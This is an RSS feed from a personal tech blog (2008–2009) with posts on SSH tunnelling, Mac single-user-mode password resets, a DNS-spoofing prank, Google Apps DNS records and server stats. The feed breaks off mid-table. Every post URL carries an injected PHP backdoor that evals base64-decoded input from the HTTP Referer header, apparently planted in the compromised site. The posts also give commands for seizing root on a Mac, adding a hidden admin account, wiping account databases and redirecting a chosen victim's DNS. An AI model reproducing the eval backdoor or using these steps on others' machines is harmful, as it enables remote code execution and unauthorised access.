<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; Interesting Tech Crap</title>
	<atom:link href="http://www.jessecole.org/category/interesting-tech-crap/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Remote Desktop over ssh tunnel</title>
		<link>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 17:41:00 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=146</guid>
		<description><![CDATA[This is a quick little post to show off some of the capabilities of an ssh tunnel. So, the back story. Earlier today, i was having a problem. There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to. In the past, there is an ipsec based vpn i could use [...]]]></description>
			<content:encoded><![CDATA[<p>This is a quick little post to show off some of the capabilities of an ssh tunnel.  So, the back story.  Earlier today, i was having a problem.  There is a server on lcsd2.org that i needed gui (Apple Remote Desktop) access to.  In the past, there is an ipsec based vpn i could use that was as simple as a single mouse click.  Unfortunately, UW has decided, for whatever reason, that outbound ipsec tunnels shouldn&#8217;t be allowed.  I can&#8217;t connect.  However, i do have ssh access to a server on the inside of the network, and thats how this works.<span id="more-146"></span></p>
<p>So, to start you need ssh access to a server on the network you want access to.  Check</p>
<p>Now you need to know the port of the service on the remote machine you need access to.ARD uses port 5900 for control/observe.  Check.</p>
<p>Now, you just need to forward the port like so</p>
<pre>ssh -L 9999/10.1.32.25/5900 helios.lcsd2.org</pre>
<p>I&#8217;ll break that down a bit.</p>
<pre>-L 9999/10.1.32.25/5900</pre>
<p>The -L requests that port 9999 on the local machine be bound to a secure tunnel over ssh to the remote machine.  10.1.32.25 is the machine that i am trying to access ultimately and 5900 is the port that i want.</p>
<pre>helios.lcsd2.org</pre>
<p>This is the remote machine i am ssh&#8217;ing to.  This is the one i have access to outside the network that i use to connect to the computer i want access to inside the network.</p>
<p>So, to recap.  I establish a secure connection to helios.lcsd2.org.  I choose a local port on the local machine that i want to use to access that secure tunnel.  I choose the machine and the port and the end of the tunnel that i want access to.  Now all thats left is to connect.</p>
<p>I am assuming here that you are running leopard.  In Finder, go to the &#8220;Go&#8221; menu and choose &#8220;Connect to Server&#8221;</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server.png"><img class="alignnone size-thumbnail wp-image-148" title="connect-to-server" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-108x150.png" alt="connect-to-server" width="108" height="150" /></a></p>
<p>Now, in the &#8220;Connect to Server&#8221; box, enter vnc://localhost:9999.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2.png"><img class="alignnone size-thumbnail wp-image-149" title="connect-to-server-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/connect-to-server-2-150x100.png" alt="connect-to-server-2" width="150" height="100" /></a></p>
<p>Now, if all is well, you should see a prompt asking for a username and password on the remote machine.  Just enter in your credentials and your done!  You should now see the screen of the remote machine and have full access to it.</p>
<p>I should point out that this basic technique can applied to just about anything.  I used to use it to access my router configuration page when i was away.  Just change the ip address to the router and the port to 80 and your good.  You could also use this to access internal websites at your company, school, whatever.</p>
<p>Enjoy!  Please leave a comment if this was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2009/01/15/remote-desktop-over-ssh-tunnel/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>My Gear</title>
		<link>http://www.jessecole.org/2008/07/30/my-gear/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/07/30/my-gear/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 31 Jul 2008 05:41:10 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[gear]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=88</guid>
		<description><![CDATA[There is a new page in the about section titled &#8220;My Gear&#8221; with a list of my computer setup at home complete with pictures. So check it out, and, let me know in the comments what you&#8217;ve got. Send me a link. If i get several good ones i may post them.]]></description>
			<content:encoded><![CDATA[<p>There is a new page in the about section titled &#8220;<a title="My Gear" href="/about/my-gear">My Gear</a>&#8221;  with a list of my computer setup at home complete with pictures.  So check it out, and, let me know in the comments what you&#8217;ve got.  Send me a link.  If i get several good ones i may post them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/07/30/my-gear/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mac OS X Single User Mode Password Reset</title>
		<link>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 04:09:48 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[10.4]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[netinfo]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://773338991</guid>
		<description><![CDATA[Have you ever needed to get into a mac but didn&#8217;t know the password. Maybe you forgot it. Maybe your roommate changed it and headed off for christmas break. Maybe you stole it in an airport and now want to use it. Whatever the situation, you need in but don&#8217;t have the credentials. I&#8217;m here [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed to get into a mac but didn&#8217;t know the password.  Maybe you forgot it.  Maybe your roommate changed it and headed off for christmas break.  Maybe you stole it in an airport and now want to use it.  Whatever the situation, you need in but don&#8217;t have the credentials.  I&#8217;m here to help.</p>
<p>In Mac OS X there are at least two methods for resetting a password.  And it does require resetting.  This isn&#8217;t windows, you can&#8217;t just boot off a cd and automatically crack the password.  Apple decided to used modern encryption techniques 10 years ago that were probably 10 years old then to protect your passwords.  Microsoft still hasn&#8217;t.</p>
<p>Method number 1:  Follow the instructions <a title="Generic password reset instructions." href="http://support.apple.com/kb/HT1274">here</a> to boot off a disc and reset your password the apple way.</p>
<p>Method number 2:  Follow my instructions below and reset it the &#8220;cool&#8221; way.</p>
<p><span id="more-58"></span>Before i begin, there&#8217;s something i should talk about.  In the traditional *nix world (unix, linux, solaris&#8230;nix), the idea of storing passwords in a flat file on the filesystem is the norm.  Usually, in linux anyway, user info is in /etc/passwd (user id, shell, name, etc.) and the password data is encrypted in /etc/shadow.  You will notice in OS X that the file /etc/fstab exists.  So that file is where all user account data is stored, right?  WRONG!  This file exists but it is only consulted/used in any way in single user mode (i&#8217;ll get to that later). The thing to take away here is that in OS X, account data is stored in a database.  Prior to 10.5 (maybe 10.4 too??) this database was apple&#8217;s proprietary <a title="Netinfo on wikipedia" href="http://en.wikipedia.org/wiki/Netinfo">netinfo</a> database.  In 10.5, netinfo was done away with completely and replaced something else ( i think its <a title="openldap homepage.  Try wikipedia for more info." href="http://www.openldap.org/">openldap</a>).  Either way, theres a little more to it than editing a text file.</p>
<p>I mentioned single user mode before.  In the *nix world (again. unix, linux, etc.), there is some concept for allowing access to the system without loading the entire system up.  You know, in case of emergencies or for maintenance reasons.  Microsoft actually does this also with the recovery console&#8230;kinda.  The important thing is, (unless you&#8217;ve locked it down) it gives you access to the system without authenticating.  Whats more is that it gives you &#8220;<a title="The SuperUser" href="http://en.wikipedia.org/wiki/Root_user">root</a>&#8221; access.</p>
<p>Ok, lets get to it.  To enter single user mode, reboot the machine and, at the chime, hold down the &#8220;apple&#8221; and the &#8220;s&#8221; keys.  Keep holding them down until you are presented with a text only prompt.  We will be modifying files on the filesystem so we need to remount the filesystem as read/write.  Type the following:</p>
<pre>mount -uw /</pre>
<p>Next step, we need to load the daemon responsible for providing access to the account database.  This is a little different between 10.4 and 10.5.  In 10.4, despite my sincerest efforts, i was unable to find a reliable way of starting only the process needed. I&#8217;ve only had trouble on clients 10.4.9 and below and i&#8217;m pretty sure its an apple bug.  It just doesn&#8217;t work right (hangs at blue aqua screen).  If you&#8217;re using 10.4.9 or below, good luck or check the end of this document for an alternative.</p>
<p>10.4:</p>
<pre>sh /etc/rc</pre>
<p>In 10.5, apple will actually give you the command to use if you try to use dscl (directory services command line utility).</p>
<p>10.5:</p>
<pre>launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServicesLocal.plist</pre>
<p>Now the daemon is running and you have access to the database.  What we&#8217;re going to do here is enable the root account.  Remember how i said that you currently have root access?  Well, you can&#8217;t  type passwd, give it a password and be done.  The reason is like i said, right now /etc/passwd is being consulted.  At best the command would fail.  At worst, nothing would happen.  You need to change the directory database root user&#8217;s password.  I&#8217;m pretty sure this is the same in 10.4 and 10.5.  We&#8217;ll be doing this interactive mode:</p>
<pre>dscl .</pre>
<p>This opens the command line utility and gives you &#8220;shell&#8221; access to the database.  Next, we navigate to the right user like so&#8230;</p>
<pre>cd /Users</pre>
<p>Pretty easy so far.  Now we&#8217;ll give the root account a password thus enabling it on boot.  You can also substitute &#8220;root&#8221; here for any other account you see after typing ls to reset that password.</p>
<pre>/Users &gt; passwd root
New Password:
/Users &gt;</pre>
<p>Just enter your password of choice after &#8220;New Password&#8221; and your done.  Type exit and then reboot to reboot into normal mode</p>
<pre>exit
reboot</pre>
<p>When the computer comes up, either click on other and type root for user and the password you gave or just type it in the name a password fields and voila!  Superuser access.  Now be careful.  &#8220;With Great Power Comes Great Responsibility&#8221;.  Seriously, the superuser isn&#8217;t inhibited by any permissions or many of the security features of the system.  You can cause real damage and not even be warned about it with him.  That said, you can also use it to ignore permissions and retrieve files or whatever you need to do.</p>
<p>Method 2.b.  Make your own account.</p>
<p>Maybe you need into the computer but don&#8217;t want to bother any account data already there.  The following commands, in non-interactive mode, will create a user called Administrator with administrative privileges.</p>
<pre>dscl . -create /Users/"admin"
dscl . -create /Users/"admin" UserShell /bin/bash
dscl . -create /Users/"admin" RealName "Administrator"
dscl . -create /Users/"admin" UniqueID "id"
dscl . -create /Users/"admin" PrimaryGroupID "20"
dscl . -create /Users/"admin" NFSHomeDirectory /Users/admin
dscl . -passwd /Users/"admin" "password"
dscl . -append /Groups/admin GroupMembership admin</pre>
<p>One thing about the above.  The UniqueID.  This has to be unique.  One thing you can do to determine a usable uniqueid is to run this command:</p>
<pre>echo $[$(dscl . -list /Users uid | awk '{print $2}' | sort -n | tail -n1)+1]</pre>
<p>Of course, you&#8217;re probably safe using a high number like 550 provided you don&#8217;t have 50 or more local users on your machine.  You can change the commands above to create a user with a different name, etc. but be careful.  Theres a little more to it than that.  <a title="Apple's create user instructions" href="http://developer.apple.com/documentation/Porting/Conceptual/PortingUnix/additionalfeatures/chapter_10_section_9.html">Here</a> are apples instructions on creating users this way but they leave out creating a group for the user and just using staff instead.  Thats probably fine but i&#8217;ve had trouble not creating a group before.  I may do a writeup on that later.</p>
<p>Now, the security conscious people out there are probably wondering, &#8220;isn&#8217;t this a huge security hole?  I mean anyone can gain root whenever they want&#8221;.  First, no they can&#8217;t.  This might sound obvious but to do any of this, they have to be sitting in front of the machine.  For years, security experts have said physical security is the first step to a secure system.  Seriously, any machine can be compromised if you have physical access to it.  FWIW, there are any number of tools available online to reset windows passwords.  This same basic technique can also be applied to any linux system that hasn&#8217;t been really locked down but again, with physical access, you can reset it.  That said, you can&#8217;t always have physical security.  In a school for example, kids may be in a position to reboot a computer and do this without a teacher really noticing.  If you want to, there are a few things you can do to mitigate the problem.</p>
<ol>
<li>Set a firmware password.  <a title="Firmware password reset instructions." href="http://support.apple.com/kb/HT1352">Here</a> are apple&#8217;s instruction for doing so.  The upside is it prevents both single user mode and booting from a disc without the password.  The downside however is once again, physical security.  If you have physical access to the machine you can reset the firmware password by removing some memory, turning it on and off, and putting the memory back in.  This is, however,  much less easy to do in a school lab environment.</li>
<li>Turn on filevault.  Filevault will encrypt your home folder and all files in it using aes encryption.  Filevault requires your account password to decrypt it or alternatively, the master password.  The master password cannot be reset because only the one that encrypted it can decrypt it.  This secures your data but a new account could still be made allowing someone to use the machine.</li>
<li>Disable single user mode.  I hesitate to mention this because people might think its a legitimate thing to do.  Don&#8217;t.  Unless you&#8217;re sure you know what you&#8217;re doing, don&#8217;t.  I&#8217;m not going to post instructions or links here but a quick google search should give you what you want.</li>
</ol>
<p>Alternative method.</p>
<p>There is another thing you can do.  If you don&#8217;t care about the current user account or its corrupt or something, you can reset it completely.  Understand that all your login credentials will be wiped out and you will have to create a new one.  First, enter single user mode and mount the filesystem read/write.  Then do this:</p>
<p>10.4</p>
<pre>rm -Rf /var/db/netinfo</pre>
<p>10.5</p>
<pre>rm -Rf /var/db/dslocal
rm /var/db/.AppleSetupDone</pre>
<p>This removes the database files and forces Mac OS X to go through the setup assistant again allowing you to create an administrative account as though it were a brand new machine</p>
<p>Well, i hope this article has been informative.  Please leave a comment if you like or have any suggestions/corrections to make.</p>
<p><strong>*Update</strong>.  Turns out i was a little off on (at least)one thing.  In Mac OS X 10.5, netinfo has been completely dropped in favor of xml based files /var/db/dslocal.  It looks like the directory services daemon starts at runtime and reads these in allowing for database style queries to it.</p>
<p><strong>*Update 2</strong>.  I really need to learn to proofread.  Corrected many spelling errors and added commands where i had previously left placeholders.  Enjoy.</p>
<p><strong>*Update 3</strong>.  Mac (seriously &#8220;mac&#8221;? thats the best you could do?)  has pointed out that i&#8217;ve made a mistake.  In 10.5 there is an additional step to take after deleting the directory database.  I&#8217;ve added it above.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/06/25/mac-os-x-single-user-mode-password-reset/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>A kitten prank.</title>
		<link>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 06 May 2008 03:58:06 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[prank]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=57</guid>
		<description><![CDATA[Earlier today, i was sitting down, watching tv with my brother. We were both on laptops doing other things at the same time. He started watching an episode of loaded featuring 50 cent. I do not like 50 cent. After several minutes of the god-awful, talentless, garbage, i got sick of it. Did I go [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier today, i was sitting down, watching tv with my brother.  We were both on laptops doing other things at the same time.  He started watching an episode of loaded featuring 50 cent.  I do not like 50 cent.  After several minutes of the god-awful, talentless, garbage, i got sick of it.  Did I go the pansy route and ask him to change it?  No!  I took the high road and made a few changed to my dns server causing all sites he tried to go to, to instead, go to <a title="Kittens!  Which one is cuter!?!  Its kittenwar.com!" href="http://kittenwar.com">kittenwar.com</a>. I&#8217;ll show you how i did it.</p>
<p><span id="more-57"></span></p>
<p>Now, first things first; you need to run your own dns server.  Secondly, the target must be using your dns server for lookups.</p>
<p>The first thing we need is the ip address to <a title="Kittens!  Yay!  Fuzzy! Wuzzy! Kittens!" href="http://kittenwar.com">kittenwar.com</a>.  Thats easy.  Its 64.111.96.38.  I shouldn&#8217;t have even mentioned this part.</p>
<p>Secondly, we need to construct a zone declaration that will claim to be the master for anything.  I used the following:</p>
<pre>zone "." {
	type master;
	file "kittenwar/all.hosts";
	};</pre>
<p>It worked great.  See, in dns, all domains end with an usually implied &#8220;.&#8221;.  (Its the one between the quotes)  This dot represents the root nameservers and how they&#8217;re the start of the domain name system.  I claim here to be the master authoritative namerserver for any domain ending in &#8220;.&#8221;.  That is to say, all domains.</p>
<p>Next, is the actual redirection&#8230;trickery&#8230;dns spoofing&#8230;whatever.  We now need to match all domains to have an A record of 64.111.96.38.  Luckily, this is easy.  I used the following:</p>
<pre>$TTL	86400
@			IN	SOA	localhost. root.localhost. (
					      2		; Serial
					 604800		; Refresh
					  86400		; Retry
					2419200		; Expire
					  86400 )	; Negative Cache TTL
;
@			IN	NS	localhost.
@			IN	A	64.111.96.38
*			IN	A	64.111.96.38</pre>
<p>Which also worked great.  Most of that isn&#8217;t strictly necessary for a zone like this but, i already had that one mostly made.  As you can see, we define &#8220;.&#8221; to have an A record for kittenwar as well as anything else &#8220;*&#8221;.  Well thats great, your done, your target is now going to <a title="Ok, seriously.  Stop reading the title text.  I'm BORED.  I can't think of anymore annoyingly cutesy phrases to put here." href="http://kittenwar.com">kittenwar.com</a> and there&#8217;s nothing he can do, right?  WRONG!!  You still need to select that victim to be the one that feels your wrath.</p>
<p>This next step involves views.  If your not using views, well, you should.  The tricky thing about them is every zone *must* be in a view if even one is.  So, remember that.  Bind cries bloody tears of pain everytime you don&#8217;t.  Sorry just wanted to make that point as graphic as possible.  You can add them manually if you want.  The way i did it, was with acl&#8217;s.  I used the following:</p>
<pre>acl kittened { 192.168.0.102; 192.168.0.110; };</pre>
<p>This matches both my brother (192.168.0.102) and myself (192.168.0.110).  I added myself so i could test that its working. I recommend doing this temporarily.  Now, add the acl to any views that the hosts may already be matched by.</p>
<pre>view "internal" {
    match-clients { !kittened; localnets; };
    recursion yes;
    include "/etc/bind/internal/internal.conf";
};</pre>
<p>There i&#8217;ve removed the acl &#8220;kittened&#8221; and all its hosts from normal service because i&#8217;m going to add them to a completely separate view.  Now, lets create that view.  The syntax is fairly simple, really just copy and paste from above where necessary.</p>
<pre>view "kittenwar" {
    match-clients { kittened; };
    recursion no;
    include "/etc/bind/kittenwar/kittenwar.conf";
};</pre>
<p>And thats it.  I turned off recursion for this view because its already authoritative for everything.  You don&#8217;t need to.  Give bind a good restart (it tends to like restarts better for changes like this) and try it out.  Now any domain/website that the target attempts to visit will simply bring up the page <a title="*Yaawwn* Kittenwar" href="http://kittenwar.com">kittenwar.com</a>.</p>
<p>*Note.  Operatings systems <strong>and</strong> browsers both tend to cache dns lookups.  It may take some time for these to expire and the effects to be seen.  For best results, have ssh access to the machine and clear the cache yourself/reboot the machine.  Also, you can do this for any site for which visiting the ip address takes you to the site.  Thats not always true, especially with shared hosting.  If you have any questions at all, leave a comment.</p>
<p>*Note 2.  When the target goes insane and begins chasing you around the house with a bloody chainsaw (why do the chainsaws always already have blood on them?).  And it <strong>will</strong> happen.  Its very easy to reverse this.  Just remove the ip address from the acl declaration and restart bind.  Then restart the machine/clear caches.  Intense &#8220;The Shining&#8221; style killing urges should subside after a while.  If it doesn&#8217;t, use your telepathic powers to summon the black guy to his death.  Somehow thats relevant and everything ends with you living despite being a retarded 9 year old vs a madman with an axe.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/05/05/a-kitten-prank/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google apps, jabber.</title>
		<link>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 01:50:37 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://1584360211</guid>
		<description><![CDATA[As very few of you know, (maybe i should actually put something in the about me section) i started this little website as a project to learn linux better and to learn to manage a webserver. Since then, this little project has turned into something i actually care about and take a measure of pride [...]]]></description>
			<content:encoded><![CDATA[<p>As very few of you know, (maybe i should actually put something in the <a title="About Me" href="http://www.jessecole.org/about">about me</a> section) i started this little website as a project to learn linux better and to learn to manage a webserver.  Since then, this little project has turned into something i actually care about and take a measure of pride in.  This is due in no small part to the miracle that is <a title="Google Apps" href="http://www.google.com/a/help/intl/en/admins/editions.html">google apps for your domain</a>.</p>
<p>I like managing a webserver.  I like manually managing <a title="ISC's Bind 9" href="http://en.wikipedia.org/bind">bind</a> and <a title="Apache" href="http://www.apache.org/">apache</a> from the command line.  I like the sense of control i feel when i am able to make any changes i want any time i want.  What i don&#8217;t like though, is email.  Email is evil.  Go ahead, take a look at the configuration files for <a title="Evil sendmail" href="http://www.sendmail.org/">sendmail</a> sometime.  Try <a title="Less Evil Postfix" href="http://www.postfix.org/">postfix</a>, not much better.  I don&#8217;t want to do email but i want to get email.  So what did i do? I went with google apps for your domain.</p>
<p><span id="more-54"></span></p>
<p>Google apps for your domain is a godsend.  I make a few small changed to my dns, which i can easily do; specifying google as my mail exchanger (mx) and i&#8217;m done.  Below i&#8217;ve included the records required for email.</p>
<pre>@           IN    MX 1     aspmx.l.google.com.
@           IN    MX 5     alt1.aspmx.l.google.com.
@           IN    MX 5     alt2.aspmx.l.google.com.
@           IN    MX 10    ASPMX2.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX3.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX4.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX5.GOOGLEMAIL.COM.</pre>
<p>Google handles all my email for me.  I can use their nice, friendly-ish web interface to add up to 100 users for email.  I can add mailing lists so that an email sent to, for example, lists@jessecole.org would go to whoever i added to that list.  I can tie in my other domains with it so that jesse@jessecole.info works just as well as jesse@jessecole.org and it gets delivered to the same mailbox.  On top of all of this, i get google&#8217;s <strong>fantastic!</strong> email filtering.  I never get a single spam message through and very rarely do i see a false positive.  Google even provides pop, smtp, and imap access to my email.</p>
<p>Another feature that isn&#8217;t talked about so much is google talk.  Thats right, every user i make can log in to google talk with user@domain.com.  The can also use any jabber client to log in.  Also, i recently implemented <a title="XMPP at wikipedia" href="http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol">XMPP</a> server dialback as per section <a title="Section 14.4 of RFC 3920" href="http://www.xmpp.org/specs/rfc3920.html#security-server">14.4</a> of <a title="RFC 3920" href="http://www.ietf.org/rfc/rfc3920.txt">RFC 3920</a> allowing virtually all jabber clients to talk to anyone logged in.  Ok, fine.  All that is accurate but i just followed google&#8217;s instructions <a title="Google's fancy smancy instruction for properly implementing section 14.4 of RFC 3920.  Pfff.. I like my way better." href="http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=34143">here</a>.  Incidently, its perfectly legal in dns-ese to paste the following into your zone file or include it globally.</p>
<pre>_xmpp-server._tcp   IN SRV  5 0 5269 xmpp-server.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server1.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server2.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server3.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server4.l.google.com.

_jabber._tcp        IN SRV  5 0 5269 xmpp-server.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server1.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server2.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server3.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server4.l.google.com.</pre>
<p>Fully qualified domain names are for quitters.</p>
<p>With google apps for your domain you get all this and all of the google apps.  Thats right.  Your &lt;employee&gt;@jessecole.org account also gets its own google docs, google calendar, google everything!.  Its no wonder some businesses are using for their site.  The best part about all of this is that its free!  You can pay extra and get more users, features, support, etc.  Not necessary.  This is a great thing for little websites like me.</p>
<p>I hope you enjoyed my little post (post? this is an article!) on google apps.  Please, leave me a comment if you liked it/disagree/hate me/whatever.</p>
<p><strong>*Update*</strong> I am officially declaring the whitespace stripping in pre text a wordpress bug.  I think i&#8217;ll actually file one later today.  It won&#8217;t do it if you step just right through the posting process though so it should look good now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>99.13% uptime</title>
		<link>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Apr 2008 03:59:31 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[uptime]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=53</guid>
		<description><![CDATA[I&#8217;ve been using host-tracker for a while now to monitor my uptime. Today they sent me my quarterly report and i&#8217;m pleased to report, to you, that my uptime is better than many for pay shared hosting providers. My little server that i put together myself, running directly on the grid with no UPS, running [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using <a title="Host Tracker" href="http://host-tracker.com">host-tracker</a> for a while now to monitor my uptime.  Today they sent me my quarterly report and i&#8217;m pleased to report, to you, that my uptime is better than many for pay shared hosting providers.  My little server that i put together myself, running directly on the grid with no UPS, running off a little tiny slow home dsl connection, and connected to that connection via an old wireless bridge is better than some datacenters.  That is just awesome.  Below i have included the report they sent me, whitespace and all.</p>
<pre>Quarterly report 2008-01

http://www.jessecole.org

Total uptime:99.13% Downtime:6 hour(s) 13 min(s)
Quarterly uptime:99.13% Downtime:6 hour(s) 13 min(s)
Month 2008-03 Uptime:99.13% Downtime:6 hour(s) 13 min(s)</pre>
<p><strong>*Update*</strong>So, wordpress helpfully stripped the white space.  Yay!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dns queries</title>
		<link>http://www.jessecole.org/2008/01/17/dns-queries/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/01/17/dns-queries/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 03:51:34 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Boring Tech Crap]]></category>
		<category><![CDATA[Interesting Tech Crap]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2008/01/17/dns-queries/</guid>
		<description><![CDATA[In a previous post i explained how i run a server, etc. etc. Since i have absolutely nothing else to write about, i&#8217;m posting a part II of sorts for that post. This time its about the dns server i run. A few months ago i switched my internal network over to use my own [...]]]></description>
			<content:encoded><![CDATA[<p><strong>I</strong>n a previous post i explained how i run a server, etc. etc.  Since i have absolutely nothing else to write about, i&#8217;m posting a part II of sorts for that post.  This time its about the dns server i run.  A few months ago i switched my internal network over to use my own locally hosted dns server.  The following are the top queries its received from the internal hosts.</p>
<pre>
<table border="0">
<tr>
<td>16527</td>
<td width="5">&nbsp;</td>
<td>time.apple.com</td>
</tr>
<tr>
<td>16188</td>
<td>&nbsp;</td>
<td>www.google.com</td>
</tr>
<tr>
<td>4513</td>
<td>&nbsp;</td>
<td>weather.wapp.wii.com</td>
</tr>
<tr>
<td>4235</td>
<td>&nbsp;</td>
<td>ad.yieldmanager.com</td>
</tr>
<tr>
